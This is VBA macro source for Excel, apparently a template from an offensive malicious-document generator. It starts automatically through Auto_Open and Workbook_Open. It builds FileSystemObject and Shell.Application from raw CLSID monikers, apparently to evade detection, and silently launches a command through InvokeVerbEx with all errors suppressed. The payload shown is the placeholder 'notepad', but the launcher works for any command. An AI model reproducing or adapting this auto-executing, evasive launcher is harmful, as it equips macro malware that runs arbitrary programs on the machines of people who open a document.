'
' This technique doesn't play well with command parameters.
' Will try to find & launch specified executable/command but 
' params probably won't be passed, despite using proper logic for that.
'
Sub obf_LaunchCommand(ByVal obf_command As String)
    On Error GoTo obf_ProcError
    Dim obf_App, obf_endQuotePos, obf_args, obf_spaceChar, obf_appPath
    Dim obf_shFolder, obf_parsedItem, obf_FileItems
    ' Scripting.FileSystemObject
    Dim obf_FSO As Object: Set obf_FSO = CreateObject("new:0D43FE01-F093-11CF-8940-00A0C9054228")
    Dim obf_cmd
    '
    ' Step 1: Split command's executable path and command line args.
    '
    obf_cmd = obf_command
    obf_args = ""
    obf_App = Trim(obf_cmd)
    obf_endQuotePos = InStr(2, obf_cmd, """")
    obf_spaceChar = InStr(1, obf_cmd, " ")
    If Left(obf_cmd, 1) = """" And obf_endQuotePos > 0 Then
        obf_App = Trim(Mid(obf_cmd, 2, obf_endQuotePos - 2))
        obf_args = Trim(Mid(obf_cmd, obf_endQuotePos + 1))
    ElseIf obf_spaceChar > 0 Then
        obf_App = Trim(Mid(obf_cmd, 1, obf_spaceChar - 1))
        obf_args = Trim(Mid(obf_cmd, obf_spaceChar + 1))
    End If
    
    '
    ' Step 2: Execute the file/
    '
    ' Shell.Application.1
    Dim obf_shInst
    Set obf_shInst = GetObject("new:13709620-C279-11CE-A49E-444553540000")
    If obf_FSO.FileExists(obf_App) Then
        '
        ' 2.1. File exists (full path given)
        '
        obf_appPath = obf_FSO.GetParentFolderName(obf_App) & "\"
        obf_App = obf_FSO.GetFileName(obf_App)
        Set obf_shFolder = obf_shInst.Namespace(obf_appPath)
        If (Not obf_shFolder Is Nothing) Then
            Set obf_FileItems = obf_shFolder.Items()
            For Each obf_parsedItem In obf_FileItems
                If InStr(obf_parsedItem, obf_App) Then
                    obf_parsedItem.InvokeVerbEx "open", " " & obf_args
                    Exit Sub
                End If
            Next
        End If
    Else
        '
        ' 2.1. File not exists, needs to be looked up in system default directories
        '
        Dim obf_arrayOfPaths As Variant
        obf_arrayOfPaths = Array(26, 28, 36, 37, 40, 49)
        obf_App = obf_FSO.GetFileName(obf_App)
        For Each obf_FooItem In obf_arrayOfPaths
            Set obf_shFolder = obf_shInst.Namespace(obf_FooItem)
            If (Not obf_shFolder Is Nothing) Then
                Set obf_parsedItem = obf_shFolder.ParseName(obf_App)
                If (Not obf_parsedItem Is Nothing) Then
                    obf_parsedItem.InvokeVerbEx "open", " " & obf_args
                    Exit Sub
                End If
            End If
        Next
    End If
obf_ProcError:
End Sub
Sub obf_GeneratorEntryPoint()
    On Error GoTo obf_ProcError
    Dim obf_code
    obf_code = ""
    
    obf_LaunchCommand "notepad"
obf_ProcError:
End Sub
Sub obf_MacroEntryPoint()
    On Error Resume Next
    
    obf_GeneratorEntryPoint
    
End Sub
Sub Auto_Open()
    ' Becomes launched as first on MS Excel
    obf_MacroEntryPoint
End Sub
Sub Workbook_Open()
    ' Becomes launched as second, another try, on MS Excel
    obf_MacroEntryPoint
End Sub